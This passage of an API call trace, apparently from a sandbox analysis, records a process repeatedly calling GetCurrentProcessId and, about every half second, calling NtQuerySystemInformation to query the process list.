GetCurrentProcessId () returned 0x10c0 [0264.648] GetCurrentProcessId () returned 0x10c0 [0264.648] GetCurrentProcessId () returned 0x10c0 [0264.648] GetCurrentProcessId () returned 0x10c0 [0264.648] GetCurrentProcessId () returned 0x10c0 [0264.648] GetCurrentProcessId () returned 0x10c0 [0264.648] GetCurrentProcessId () returned 0x10c0 [0264.648] GetCurrentProcessId () returned 0x10c0 [0264.648] GetCurrentProcessId () returned 0x10c0 [0264.648] GetCurrentProcessId () returned 0x10c0 [0264.648] GetCurrentProcessId () returned 0x10c0 [0264.648] GetCurrentProcessId () returned 0x10c0 [0264.648] GetCurrentProcessId () returned 0x10c0 [0264.648] GetCurrentProcessId () returned 0x10c0 [0264.648] GetCurrentProcessId () returned 0x10c0 [0264.648] GetCurrentProcessId () returned 0x10c0 [0264.648] GetCurrentProcessId () returned 0x10c0 [0264.648] GetCurrentProcessId () returned 0x10c0 [0264.648] GetCurrentProcessId () returned 0x10c0 [0264.648] GetCurrentProcessId () returned 0x10c0 [0264.648] GetCurrentProcessId () returned 0x10c0 [0264.648] GetCurrentProcessId () returned 0x10c0 [0264.649] GetCurrentProcessId () returned 0x10c0 [0264.649] GetCurrentProcessId () returned 0x10c0 [0264.649] GetCurrentProcessId () returned 0x10c0 [0264.649] GetCurrentProcessId () returned 0x10c0 [0264.649] GetCurrentProcessId () returned 0x10c0 [0264.649] GetCurrentProcessId () returned 0x10c0 [0264.649] GetCurrentProcessId () returned 0x10c0 [0264.649] GetCurrentProcessId () returned 0x10c0 [0264.649] GetCurrentProcessId () returned 0x10c0 [0264.649] GetCurrentProcessId () returned 0x10c0 [0264.649] GetCurrentProcessId () returned 0x10c0 [0264.649] GetCurrentProcessId () returned 0x10c0 [0264.649] GetCurrentProcessId () returned 0x10c0 [0264.649] GetCurrentProcessId () returned 0x10c0 [0264.649] GetCurrentProcessId () returned 0x10c0 [0264.649] GetCurrentProcessId () returned 0x10c0 [0264.649] GetCurrentProcessId () returned 0x10c0 [0264.649] GetCurrentProcessId () returned 0x10c0 [0264.649] GetCurrentProcessId () returned 0x10c0 [0264.649] GetCurrentProcessId () returned 0x10c0 [0264.649] GetCurrentProcessId () returned 0x10c0 [0264.649] GetCurrentProcessId () returned 0x10c0 [0264.649] GetCurrentProcessId () returned 0x10c0 [0264.649] GetCurrentProcessId () returned 0x10c0 [0264.650] GetCurrentProcessId () returned 0x10c0 [0264.650] GetCurrentProcessId () returned 0x10c0 [0264.650] GetCurrentProcessId () returned 0x10c0 [0264.650] GetCurrentProcessId () returned 0x10c0 [0265.153] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x124815b0, Length=0x20000, ResultLength=0x1b8bf0d0 | out: SystemInformation=0x124815b0, ResultLength=0x1b8bf0d0*=0x1db60) returned 0x0 [0265.159] GetCurrentProcessId () returned 0x10c0 [0265.159] GetCurrentProcessId () returned 0x10c0 [0265.159] GetCurrentProcessId () returned 0x10c0 [0265.159] GetCurrentProcessId () returned 0x10c0 [0265.159] GetCurrentProcessId () returned 0x10c0 [0265.159] GetCurrentProcessId () returned 0x10c0 [0265.159] GetCurrentProcessId () returned 0x10c0 [0265.159] GetCurrentProcessId () returned 0x10c0 [0265.160] GetCurrentProcessId () returned 0x10c0 [0265.160] GetCurrentProcessId () returned 0x10c0 [0265.160] GetCurrentProcessId () returned 0x10c0 [0265.160] GetCurrentProcessId () returned 0x10c0 [0265.160] GetCurrentProcessId () returned 0x10c0 [0265.160] GetCurrentProcessId () returned 0x10c0 [0265.160] GetCurrentProcessId () returned 0x10c0 [0265.160] GetCurrentProcessId () returned 0x10c0 [0265.160] GetCurrentProcessId () returned 0x10c0 [0265.160] GetCurrentProcessId () returned 0x10c0 [0265.160] GetCurrentProcessId () returned 0x10c0 [0265.160] GetCurrentProcessId () returned 0x10c0 [0265.160] GetCurrentProcessId () returned 0x10c0 [0265.160] GetCurrentProcessId () returned 0x10c0 [0265.160] GetCurrentProcessId () returned 0x10c0 [0265.160] GetCurrentProcessId () returned 0x10c0 [0265.160] GetCurrentProcessId () returned 0x10c0 [0265.160] GetCurrentProcessId () returned 0x10c0 [0265.160] GetCurrentProcessId () returned 0x10c0 [0265.160] GetCurrentProcessId () returned 0x10c0 [0265.160] GetCurrentProcessId () returned 0x10c0 [0265.160] GetCurrentProcessId () returned 0x10c0 [0265.160] GetCurrentProcessId () returned 0x10c0 [0265.160] GetCurrentProcessId () returned 0x10c0 [0265.160] GetCurrentProcessId () returned 0x10c0 [0265.161] GetCurrentProcessId () returned 0x10c0 [0265.161] GetCurrentProcessId () returned 0x10c0 [0265.161] GetCurrentProcessId () returned 0x10c0 [0265.161] GetCurrentProcessId () returned 0x10c0 [0265.161] GetCurrentProcessId () returned 0x10c0 [0265.161] GetCurrentProcessId () returned 0x10c0 [0265.161] GetCurrentProcessId () returned 0x10c0 [0265.161] GetCurrentProcessId () returned 0x10c0 [0265.161] GetCurrentProcessId () returned 0x10c0 [0265.161] GetCurrentProcessId () returned 0x10c0 [0265.161] GetCurrentProcessId () returned 0x10c0 [0265.161] GetCurrentProcessId () returned 0x10c0 [0265.161] GetCurrentProcessId () returned 0x10c0 [0265.161] GetCurrentProcessId () returned 0x10c0 [0265.161] GetCurrentProcessId () returned 0x10c0 [0265.161] GetCurrentProcessId () returned 0x10c0 [0265.161] GetCurrentProcessId () returned 0x10c0 [0265.161] GetCurrentProcessId () returned 0x10c0 [0265.161] GetCurrentProcessId () returned 0x10c0 [0265.162] GetCurrentProcessId () returned 0x10c0 [0265.162] GetCurrentProcessId () returned 0x10c0 [0265.162] GetCurrentProcessId () returned 0x10c0 [0265.162] GetCurrentProcessId () returned 0x10c0 [0265.162] GetCurrentProcessId () returned 0x10c0 [0265.162] GetCurrentProcessId () returned 0x10c0 [0265.162] GetCurrentProcessId () returned 0x10c0 [0265.162] GetCurrentProcessId () returned 0x10c0 [0265.162] GetCurrentProcessId () returned 0x10c0 [0265.162] GetCurrentProcessId () returned 0x10c0 [0265.162] GetCurrentProcessId () returned 0x10c0 [0265.162] GetCurrentProcessId () returned 0x10c0 [0265.162] GetCurrentProcessId () returned 0x10c0 [0265.162] GetCurrentProcessId () returned 0x10c0 [0265.162] GetCurrentProcessId () returned 0x10c0 [0265.162] GetCurrentProcessId () returned 0x10c0 [0265.162] GetCurrentProcessId () returned 0x10c0 [0265.162] GetCurrentProcessId () returned 0x10c0 [0265.162] GetCurrentProcessId () returned 0x10c0 [0265.162] GetCurrentProcessId () returned 0x10c0 [0265.162] GetCurrentProcessId () returned 0x10c0 [0265.162] GetCurrentProcessId () returned 0x10c0 [0265.163] GetCurrentProcessId () returned 0x10c0 [0265.163] GetCurrentProcessId () returned 0x10c0 [0265.163] GetCurrentProcessId () returned 0x10c0 [0265.163] GetCurrentProcessId () returned 0x10c0 [0265.163] GetCurrentProcessId () returned 0x10c0 [0265.163] GetCurrentProcessId () returned 0x10c0 [0265.163] GetCurrentProcessId () returned 0x10c0 [0265.163] GetCurrentProcessId () returned 0x10c0 [0265.163] GetCurrentProcessId () returned 0x10c0 [0265.163] GetCurrentProcessId () returned 0x10c0 [0265.163] GetCurrentProcessId () returned 0x10c0 [0265.163] GetCurrentProcessId () returned 0x10c0 [0265.163] GetCurrentProcessId () returned 0x10c0 [0265.163] GetCurrentProcessId () returned 0x10c0 [0265.163] GetCurrentProcessId () returned 0x10c0 [0265.163] GetCurrentProcessId () returned 0x10c0 [0265.163] GetCurrentProcessId () returned 0x10c0 [0265.163] GetCurrentProcessId () returned 0x10c0 [0265.163] GetCurrentProcessId () returned 0x10c0 [0265.163] GetCurrentProcessId () returned 0x10c0 [0265.163] GetCurrentProcessId () returned 0x10c0 [0265.164] GetCurrentProcessId () returned 0x10c0 [0265.164] GetCurrentProcessId () returned 0x10c0 [0265.164] GetCurrentProcessId () returned 0x10c0 [0265.164] GetCurrentProcessId () returned 0x10c0 [0265.164] GetCurrentProcessId () returned 0x10c0 [0265.164] GetCurrentProcessId () returned 0x10c0 [0265.164] GetCurrentProcessId () returned 0x10c0 [0265.164] GetCurrentProcessId () returned 0x10c0 [0265.164] GetCurrentProcessId () returned 0x10c0 [0265.164] GetCurrentProcessId () returned 0x10c0 [0265.164] GetCurrentProcessId () returned 0x10c0 [0265.164] GetCurrentProcessId () returned 0x10c0 [0265.164] GetCurrentProcessId () returned 0x10c0 [0265.164] GetCurrentProcessId () returned 0x10c0 [0265.164] GetCurrentProcessId () returned 0x10c0 [0265.164] GetCurrentProcessId () returned 0x10c0 [0265.164] GetCurrentProcessId () returned 0x10c0 [0265.668] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x124815b0, Length=0x20000, ResultLength=0x1b8bf0d0 | out: SystemInformation=0x124815b0, ResultLength=0x1b8bf0d0*=0x1db60) returned 0x0 [0265.674] GetCurrentProcessId () returned 0x10c0 [0265.674] GetCurrentProcessId () returned 0x10c0 [0265.675] GetCurrentProcessId () returned 0x10c0 [0265.675] GetCurrentProcessId () returned 0x10c0 [0265.675] GetCurrentProcessId () returned 0x10c0 [0265.675] GetCurrentProcessId () returned 0x10c0 [0265.675] GetCurrentProcessId () returned 0x10c0 [0265.675] GetCurrentProcessId () returned 0x10c0 [0265.675] GetCurrentProcessId () returned 0x10c0 [0265.675] GetCurrentProcessId () returned 0x10c0 [0265.675] GetCurrentProcessId () returned 0x10c0 [0265.675] GetCurrentProcessId () returned 0x10c0 [0265.675] GetCurrentProcessId () returned 0x10c0 [0265.675] GetCurrentProcessId () returned 0x10c0 [0265.675] GetCurrentProcessId () returned 0x10c0 [0265.675] GetCurrentProcessId () returned 0x10c0 [0265.675] GetCurrentProcessId () returned 0x10c0 [0265.675] GetCurrentProcessId () returned 0x10c0 [0265.675] GetCurrentProcessId () returned 0x10c0 [0265.675] GetCurrentProcessId () returned 0x10c0 [0265.675] GetCurrentProcessId () returned 0x10c0 [0265.675] GetCurrentProcessId () returned 0x10c0 [0265.675] GetCurrentProcessId () returned 0x10c0 [0265.675] GetCurrentProcessId () returned 0x10c0 [0265.675] GetCurrentProcessId () returned 0x10c0 [0265.675] GetCurrentProcessId () returned 0x10c0 [0265.675] GetCurrentProcessId () returned 0x10c0 [0265.675] GetCurrentProcessId () returned 0x10c0 [0265.675] GetCurrentProcessId () returned 0x10c0 [0265.675] GetCurrentProcessId () returned 0x10c0 [0265.675] GetCurrentProcessId () returned 0x10c0 [0265.676] GetCurrentProcessId () returned 0x10c0 [0265.676] GetCurrentProcessId () returned 0x10c0 [0265.676] GetCurrentProcessId () returned 0x10c0 [0265.676] GetCurrentProcessId () returned 0x10c0 [0265.676] GetCurrentProcessId () returned 0x10c0 [0265.676] GetCurrentProcessId () returned 0x10c0 [0265.676] GetCurrentProcessId () returned 0x10c0 [0265.676] GetCurrentProcessId () returned 0x10c0 [0265.676] GetCurrentProcessId () returned 0x10c0 [0265.676] GetCurrentProcessId () returned 0x10c0 [0265.676] GetCurrentProcessId () returned 0x10c0 [0265.676] GetCurrentProcessId () returned 0x10c0 [0265.676] GetCurrentProcessId () returned 0x10c0 [0265.676] GetCurrentProcessId () returned 0x10c0 [0265.676] GetCurrentProcessId () returned 0x10c0 [0265.676] GetCurrentProcessId () returned 0x10c0 [0265.676] GetCurrentProcessId () returned 0x10c0 [0265.676] GetCurrentProcessId () returned 0x10c0 [0265.676] GetCurrentProcessId () returned 0x10c0 [0265.676] GetCurrentProcessId () returned 0x10c0 [0265.676] GetCurrentProcessId () returned 0x10c0 [0265.676] GetCurrentProcessId () returned 0x10c0 [0265.676] GetCurrentProcessId () returned 0x10c0 [0265.676] GetCurrentProcessId () returned 0x10c0 [0265.676] GetCurrentProcessId () returned 0x10c0 [0265.676] GetCurrentProcessId () returned 0x10c0 [0265.676] GetCurrentProcessId () returned 0x10c0 [0265.676] GetCurrentProcessId () returned 0x10c0 [0265.676] GetCurrentProcessId () returned 0x10c0 [0265.677] GetCurrentProcessId () returned 0x10c0 [0265.677] GetCurrentProcessId () returned 0x10c0 [0265.677] GetCurrentProcessId () returned 0x10c0 [0265.677] GetCurrentProcessId () returned 0x10c0 [0265.677] GetCurrentProcessId () returned 0x10c0 [0265.677] GetCurrentProcessId () returned 0x10c0 [0265.677] GetCurrentProcessId () returned 0x10c0 [0265.677] GetCurrentProcessId () returned 0x10c0 [0265.677] GetCurrentProcessId () returned 0x10c0 [0265.677] GetCurrentProcessId () returned 0x10c0 [0265.677] GetCurrentProcessId () returned 0x10c0 [0265.677] GetCurrentProcessId () returned 0x10c0 [0265.677] GetCurrentProcessId () returned 0x10c0 [0265.677] GetCurrentProcessId () returned 0x10c0 [0265.677] GetCurrentProcessId () returned 0x10c0 [0265.677] GetCurrentProcessId () returned 0x10c0 [0265.677] GetCurrentProcessId () returned 0x10c0 [0265.677] GetCurrentProcessId () returned 0x10c0 [0265.677] GetCurrentProcessId () returned 0x10c0 [0265.677] GetCurrentProcessId () returned 0x10c0 [0265.677] GetCurrentProcessId () returned 0x10c0 [0265.677] GetCurrentProcessId () returned 0x10c0 [0265.677] GetCurrentProcessId () returned 0x10c0 [0265.677] GetCurrentProcessId () returned 0x10c0 [0265.677] GetCurrentProcessId () returned 0x10c0 [0265.677] GetCurrentProcessId () returned 0x10c0 [0265.677] GetCurrentProcessId () returned 0x10c0 [0265.677] GetCurrentProcessId () returned 0x10c0 [0265.677] GetCurrentProcessId () returned 0x10c0 [0265.677] GetCurrentProcessId () returned 0x10c0 [0265.677] GetCurrentProcessId () returned 0x10c0 [0265.678] GetCurrentProcessId () returned 0x10c0 [0265.678] GetCurrentProcessId () returned 0x10c0 [0265.678] GetCurrentProcessId () returned 0x10c0 [0265.678] GetCurrentProcessId () returned 0x10c0 [0265.678] GetCurrentProcessId () returned 0x10c0 [0265.678] GetCurrentProcessId () returned 0x10c0 [0265.678] GetCurrentProcessId () returned 0x10c0 [0265.678] GetCurrentProcessId () returned 0x10c0 [0265.678] GetCurrentProcessId () returned 0x10c0 [0265.678] GetCurrentProcessId () returned 0x10c0 [0265.678] GetCurrentProcessId () returned 0x10c0 [0265.678] GetCurrentProcessId () returned 0x10c0 [0265.678] GetCurrentProcessId () returned 0x10c0 [0265.678] GetCurrentProcessId () returned 0x10c0 [0265.678] GetCurrentProcessId () returned 0x10c0 [0265.678] GetCurrentProcessId () returned 0x10c0 [0265.678] GetCurrentProcessId () returned 0x10c0 [0265.678] GetCurrentProcessId () returned 0x10c0 [0265.678] GetCurrentProcessId () returned 0x10c0 [0265.678] GetCurrentProcessId () returned 0x10c0 [0265.678] GetCurrentProcessId () returned 0x10c0 [0266.288] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x124815b0, Length=0x20000, ResultLength=0x1b8bf0d0 | out: SystemInformation=0x124815b0, ResultLength=0x1b8bf0d0*=0x1db60) returned 0x0 [0266.302] GetCurrentProcessId () returned 0x10c0 [0266.302] GetCurrentProcessId () returned 0x10c0 [0266.302] GetCurrentProcessId () returned 0x10c0 [0266.302] GetCurrentProcessId () returned 0x10c0 [0266.302] GetCurrentProcessId () returned 0x10c0 [0266.302] GetCurrentProcessId () returned 0x10c0 [0266.302] GetCurrentProcessId () returned 0x10c0 [0266.302] GetCurrentProcessId () returned 0x10c0 [0266.302] GetCurrentProcessId () returned 0x10c0 [0266.302] GetCurrentProcessId () returned 0x10c0 [0266.302] GetCurrentProcessId () returned 0x10c0 [0266.303] GetCurrentProcessId () returned 0x10c0 [0266.303] GetCurrentProcessId () returned 0x10c0 [0266.303] GetCurrentProcessId () returned 0x10c0 [0266.303] GetCurrentProcessId () returned 0x10c0 [0266.303] GetCurrentProcessId () returned 0x10c0 [0266.303] GetCurrentProcessId () returned 0x10c0 [0266.303] GetCurrentProcessId () returned 0x10c0 [0266.303] GetCurrentProcessId () returned 0x10c0 [0266.303] GetCurrentProcessId () returned 0x10c0 [0266.303] GetCurrentProcessId () returned 0x10c0 [0266.303] GetCurrentProcessId () returned 0x10c0 [0266.303] GetCurrentProcessId () returned 0x10c0 [0266.303] GetCurrentProcessId () returned 0x10c0 [0266.303] GetCurrentProcessId () returned 0x10c0 [0266.303] GetCurrentProcessId () returned 0x10c0 [0266.303] GetCurrentProcessId () returned 0x10c0 [0266.303] GetCurrentProcessId () returned 0x10c0 [0266.303] GetCurrentProcessId () returned 0x10c0 [0266.303] GetCurrentProcessId () returned 0x10c0 [0266.303] GetCurrentProcessId () returned 0x10c0 [0266.303] GetCurrentProcessId () returned 0x10c0 [0266.303] GetCurrentProcessId () returned 0x10c0 [0266.303] GetCurrentProcessId () returned 0x10c0 [0266.303] GetCurrentProcessId () returned 0x10c0 [0266.303] GetCurrentProcessId () returned 0x10c0 [0266.304] GetCurrentProcessId () returned 0x10c0 [0266.304] GetCurrentProcessId () returned 0x10c0 [0266.304] GetCurrentProcessId () returned 0x10c0 [0266.304] GetCurrentProcessId () returned 0x10c0 [0266.304] GetCurrentProcessId () returned 0x10c0 [0266.304] GetCurrentProcessId () returned 0x10c0 [0266.304] GetCurrentProcessId () returned 0x10c0 [0266.304] GetCurrentProcessId () returned 0x10c0 [0266.304] GetCurrentProcessId () returned 0x10c0 [0266.304] GetCurrentProcessId () returned 0x10c0 [0266.304] GetCurrentProcessId () returned 0x10c0 [0266.304] GetCurrentProcessId () returned 0x10c0 [0266.304] GetCurrentProcessId () returned 0x10c0 [0266.304] GetCurrentProcessId () returned 0x10c0 [0266.304] GetCurrentProcessId () returned 0x10c0 [0266.304] GetCurrentProcessId () returned 0x10c0 [0266.304] GetCurrentProcessId () returned 0x10c0 [0266.304] GetCurrentProcessId () returned 0x10c0 [0266.304] GetCurrentProcessId () returned 0x10c0 [0266.304] GetCurrentProcessId () returned 0x10c0 [0266.304] GetCurrentProcessId () returned 0x10c0 [0266.304] GetCurrentProcessId () returned 0x10c0 [0266.305] GetCurrentProcessId () returned 0x10c0 [0266.305] GetCurrentProcessId () returned 0x10c0 [0266.305] GetCurrentProcessId () returned 0x10c0 [0266.305] GetCurrentProcessId () returned 0x10c0 [0266.305] GetCurrentProcessId () returned 0x10c0 [0266.305] GetCurrentProcessId () returned 0x10c0 [0266.305] GetCurrentProcessId () returned 0x10c0 [0266.305] GetCurrentProcessId () returned 0x10c0 [0266.305] GetCurrentProcessId () returned 0x10c0 [0266.305] GetCurrentProcessId () returned 0x10c0 [0266.305] GetCurrentProcessId () returned 0x10c0 [0266.305] GetCurrentProcessId () returned 0x10c0 [0266.305] GetCurrentProcessId () returned 0x10c0 [0266.305] GetCurrentProcessId () returned 0x10c0 [0266.305] GetCurrentProcessId () returned 0x10c0 [0266.305] GetCurrentProcessId () returned 0x10c0 [0266.305] GetCurrentProcessId () returned 0x10c0 [0266.305] GetCurrentProcessId () returned 0x10c0 [0266.305] GetCurrentProcessId () returned 0x10c0 [0266.305] GetCurrentProcessId () returned 0x10c0 [0266.305] GetCurrentProcessId () returned 0x10c0 [0266.305] GetCurrentProcessId () returned 0x10c0 [0266.305] GetCurrentProcessId () returned 0x10c0 [0266.305] GetCurrentProcessId () returned 0x10c0 [0266.305] GetCurrentProcessId () returned 0x10c0 [0266.305] GetCurrentProcessId () returned 0x10c0 [0266.305] GetCurrentProcessId () returned 0x10c0 [0266.306] GetCurrentProcessId () returned 0x10c0 [0266.306] GetCurrentProcessId () returned 0x10c0 [0266.306] GetCurrentProcessId () returned 0x10c0 [0266.306] GetCurrentProcessId () returned 0x10c0 [0266.306] GetCurrentProcessId () returned 0x10c0 [0266.306] GetCurrentProcessId () returned 0x10c0 [0266.306] GetCurrentProcessId () returned 0x10c0 [0266.306] GetCurrentProcessId () returned 0x10c0 [0266.306] GetCurrentProcessId () returned 0x10c0 [0266.306] GetCurrentProcessId () returned 0x10c0 [0266.306] GetCurrentProcessId () returned 0x10c0 [0266.306] GetCurrentProcessId () returned 0x10c0 [0266.306] GetCurrentProcessId () returned 0x10c0 [0266.306] GetCurrentProcessId () returned 0x10c0 [0266.306] GetCurrentProcessId () returned 0x10c0 [0266.306] GetCurrentProcessId () returned 0x10c0 [0266.306] GetCurrentProcessId () returned 0x10c0 [0266.306] GetCurrentProcessId () returned 0x10c0 [0266.306] GetCurrentProcessId () returned 0x10c0 [0266.306] GetCurrentProcessId () returned 0x10c0 [0266.306] GetCurrentProcessId () returned 0x10c0 [0266.306] GetCurrentProcessId () returned 0x10c0 [0266.306] GetCurrentProcessId () returned 0x10c0 [0266.306] GetCurrentProcessId () returned 0x10c0 [0266.306] GetCurrentProcessId () returned 0x10c0 [0266.306] GetCurrentProcessId () returned 0x10c0 [0266.306] GetCurrentProcessId () returned 0x10c0 [0266.809] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x124815b0, Length=0x20000, ResultLength=0x1b8bf0d0 | out: SystemInformation=0x124815b0, ResultLength=0x1b8bf0d0*=0x1db10) returned 0x0 [0266.811] GetCurrentProcessId () returned 0x10c0 [0266.811] GetCurrentProcessId () returned 0x10c0 [0266.811] GetCurrentProcessId () returned 0x10c0 [0266.811] GetCurrentProcessId () returned 0x10c0 [0266.811] GetCurrentProcessId () returned 0x10c0 [0266.811] GetCurrentProcessId () returned 0x10c0 [0266.811] GetCurrentProcessId () returned 0x10c0 [0266.811] GetCurrentProcessId () returned 0x10c0 [0266.811] GetCurrentProcessId () returned 0x10c0 [0266.811] GetCurrentProcessId () returned 0x10c0 [0266.811] GetCurrentProcessId () returned 0x10c0 [0266.811] GetCurrentProcessId () returned 0x10c0 [0266.812] GetCurrentProcessId () returned 0x10c0 [0266.812] GetCurrentProcessId () returned 0x10c0 [0266.812] GetCurrentProcessId () returned 0x10c0 [0266.812] GetCurrentProcessId () returned 0x10c0 [0266.812] GetCurrentProcessId () returned 0x10c0 [0266.812] GetCurrentProcessId () returned 0x10c0 [0266.812] GetCurrentProcessId () returned 0x10c0 [0266.812] GetCurrentProcessId () returned 0x10c0 [0266.812] GetCurrentProcessId () returned 0x10c0 [0266.812] GetCurrentProcessId () returned 0x10c0 [0266.812] GetCurrentProcessId () returned 0x10c0 [0266.812] GetCurrentProcessId () returned 0x10c0 [0266.812] GetCurrentProcessId () returned 0x10c0 [0266.812] GetCurrentProcessId () returned 0x10c0 [0266.812] GetCurrentProcessId () returned 0x10c0 [0266.812] GetCurrentProcessId () returned 0x10c0 [0266.812] GetCurrentProcessId () returned 0x10c0 [0266.812] GetCurrentProcessId () returned 0x10c0 [0266.812] GetCurrentProcessId () returned 0x10c0 [0266.812] GetCurrentProcessId () returned 0x10c0 [0266.812] GetCurrentProcessId () returned 0x10c0 [0266.812] GetCurrentProcessId () returned 0x10c0 [0266.812] GetCurrentProcessId () returned 0x10c0 [0266.812] GetCurrentProcessId () returned 0x10c0 [0266.812] GetCurrentProcessId () returned 0x10c0 [0266.812] GetCurrentProcessId () returned 0x10c0 [0266.812] GetCurrentProcessId () returned 0x10c0 [0266.812] GetCurrentProcessId () returned 0x10c0 [0266.812] GetCurrentProcessId () returned 0x10c0 [0266.812] GetCurrentProcessId () returned 0x10c0 [0266.812] GetCurrentProcessId () returned 0x10c0 [0266.812] GetCurrentProcessId () returned 0x10c0 [0266.812] GetCurrentProcessId () returned 0x10c0 [0266.812] GetCurrentProcessId () returned 0x10c0 [0266.812] GetCurrentProcessId () returned 0x10c0 [0266.812] GetCurrentProcessId () returned 0x10c0 [0266.813] GetCurrentProcessId () returned 0x10c0 [0266.813] GetCurrentProcessId () returned 0x10c0 [0266.813] GetCurrentProcessId () returned 0x10c0 [0266.813] GetCurrentProcessId () returned 0x10c0 [0266.813] GetCurrentProcessId () returned 0x10c0 [0266.813] GetCurrentProcessId () returned 0x10c0 [0266.813] GetCurrentProcessId () returned 0x10c0 [0266.813] GetCurrentProcessId () returned 0x10c0 [0266.813] GetCurrentProcessId () returned 0x10c0 [0266.813] GetCurrentProcessId () returned 0x10c0 [0266.813] GetCurrentProcessId () returned 0x10c0 [0266.813] GetCurrentProcessId () returned 0x10c0 [0266.813] GetCurrentProcessId () returned 0x10c0 [0266.813] GetCurrentProcessId () returned 0x10c0 [0266.813] GetCurrentProcessId () returned 0x10c0 [0266.813] GetCurrentProcessId () returned 0x10c0 [0266.813] GetCurrentProcessId () returned 0x10c0 [0266.813] GetCurrentProcessId () returned 0x10c0 [0266.813] GetCurrentProcessId () returned 0x10c0 [0266.813] GetCurrentProcessId () returned 0x10c0 [0266.813] GetCurrentProcessId () returned 0x10c0 [0266.813] GetCurrentProcessId () returned 0x10c0 [0266.813] GetCurrentProcessId () returned 0x10c0 [0266.813] GetCurrentProcessId () returned 0x10c0 [0266.813] GetCurrentProcessId () returned 0x10c0 [0266.813] GetCurrentProcessId () returned 0x10c0 [0266.813] GetCurrentProcessId () returned 0x10c0 [0266.813] GetCurrentProcessId () returned 0x10c0 [0266.813] GetCurrentProcessId () returned 0x10c0 [0266.813] GetCurrentProcessId () returned 0x10c0 [0266.813] GetCurrentProcessId () returned 0x10c0 [0266.813] GetCurrentProcessId () returned 0x10c0 [0266.813] GetCurrentProcessId () returned 0x10c0 [0266.813] GetCurrentProcessId () returned 0x10c0 [0266.814] GetCurrentProcessId () returned 0x10c0 [0266.814] GetCurrentProcessId () returned 0x10c0 [0266.814] GetCurrentProcessId () returned 0x10c0 [0266.814] GetCurrentProcessId () returned 0x10c0 [0266.814] GetCurrentProcessId () returned 0x10c0 [0266.814] GetCurrentProcessId () returned 0x10c0 [0266.814] GetCurrentProcessId () returned 0x10c0 [0266.814] GetCurrentProcessId () returned 0x10c0 [0266.814] GetCurrentProcessId () returned 0x10c0 [0266.814] GetCurrentProcessId () returned 0x10c0 [0266.814] GetCurrentProcessId () returned 0x10c0 [0266.814] GetCurrentProcessId () returned 0x10c0 [0266.814] GetCurrentProcessId () returned 0x10c0 [0266.814] GetCurrentProcessId () returned 0x10c0 [0266.814] GetCurrentProcessId () returned 0x10c0 [0266.814] GetCurrentProcessId () returned 0x10c0 [0266.814] GetCurrentProcessId () returned 0x10c0 [0266.814] GetCurrentProcessId () returned 0x10c0 [0266.814] GetCurrentProcessId () returned 0x10c0 [0266.814] GetCurrentProcessId () returned 0x10c0 [0266.814] GetCurrentProcessId () returned 0x10c0 [0266.814] GetCurrentProcessId () returned 0x10c0 [0266.814] GetCurrentProcessId () returned 0x10c0 [0266.814] GetCurrentProcessId () returned 0x10c0 [0266.814] GetCurrentProcessId () returned 0x10c0 [0266.814] GetCurrentProcessId () returned 0x10c0 [0266.814] GetCurrentProcessId () returned 0x10c0 [0266.814] GetCurrentProcessId () returned 0x10c0 [0266.814] GetCurrentProcessId () returned 0x10c0 [0266.814] GetCurrentProcessId () returned 0x10c0 [0267.323] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x124815b0, Length=0x20000, ResultLength=0x1b8bf0d0 | out: SystemInformation=0x124815b0, ResultLength=0x1b8bf0d0*=0x1db10) returned 0x0 [0267.325] GetCurrentProcessId () returned 0x10c0 [0267.325] GetCurrentProcessId () returned 0x10c0 [0267.325] GetCurrentProcessId () returned 0x10c0 [0267.325] GetCurrentProcessId () returned 0x10c0 [0267.325] GetCurrentProcessId () returned 0x10c0 [0267.325] GetCurrentProcessId () returned 0x10c0 [0267.325] GetCurrentProcessId () returned 0x10c0 [0267.325] GetCurrentProcessId () returned 0x10c0 [0267.325] GetCurrentProcessId () returned 0x10c0 [0267.325] GetCurrentProcessId () returned 0x10c0 [0267.325] GetCurrentProcessId () returned 0x10c0 [0267.325] GetCurrentProcessId () returned 0x10c0 [0267.325] GetCurrentProcessId () returned 0x10c0 [0267.325] GetCurrentProcessId () returned 0x10c0 [0267.325] GetCurrentProcessId () returned 0x10c0 [0267.325] GetCurrentProcessId () returned 0x10c0 [0267.325] GetCurrentProcessId () returned 0x10c0 [0267.325] GetCurrentProcessId () returned 0x10c0 [0267.325] GetCurrentProcessId () returned 0x10c0 [0267.325] GetCurrentProcessId () returned 0x10c0 [0267.325] GetCurrentProcessId () returned 0x10c0 [0267.325] GetCurrentProcessId () returned 0x10c0 [0267.326] GetCurrentProcessId () returned 0x10c0 [0267.326] GetCurrentProcessId () returned 0x10c0 [0267.326] GetCurrentProcessId () returned 0x10c0 [0267.326] GetCurrentProcessId () returned 0x10c0 [0267.326] GetCurrentProcessId () returned 0x10c0 [0267.326] GetCurrentProcessId () returned 0x10c0 [0267.326] GetCurrentProcessId () returned 0x10c0 [0267.326] GetCurrentProcessId () returned 0x10c0 [0267.326] GetCurrentProcessId () returned 0x10c0 [0267.326] GetCurrentProcessId () returned 0x10c0 [0267.326] GetCurrentProcessId () returned 0x10c0 [0267.326] GetCurrentProcessId () returned 0x10c0 [0267.326] GetCurrentProcessId () returned 0x10c0 [0267.326] GetCurrentProcessId () returned 0x10c0 [0267.326] GetCurrentProcessId () returned 0x10c0 [0267.326] GetCurrentProcessId () returned 0x10c0 [0267.326] GetCurrentProcessId () returned 0x10c0 [0267.326] GetCurrentProcessId () returned 0x10c0 [0267.326] GetCurrentProcessId () returned 0x10c0 [0267.326] GetCurrentProcessId () returned 0x10c0 [0267.326] GetCurrentProcessId () returned 0x10c0 [0267.326] GetCurrentProcessId () returned 0x10c0 [0267.327] GetCurrentProcessId () returned 0x10c0 [0267.327] GetCurrentProcessId () returned 0x10c0 [0267.327] GetCurrentProcessId () returned 0x10c0 [0267.327] GetCurrentProcessId () returned 0x10c0 [0267.327] GetCurrentProcessId () returned 0x10c0 [0267.327] GetCurrentProcessId () returned 0x10c0 [0267.327] GetCurrentProcessId () returned 0x10c0 [0267.327] GetCurrentProcessId () returned 0x10c0 [0267.327] GetCurrentProcessId () returned 0x10c0 [0267.327] GetCurrentProcessId () returned 0x10c0 [0267.327] GetCurrentProcessId () returned 0x10c0 [0267.327] GetCurrentProcessId () returned 0x10c0 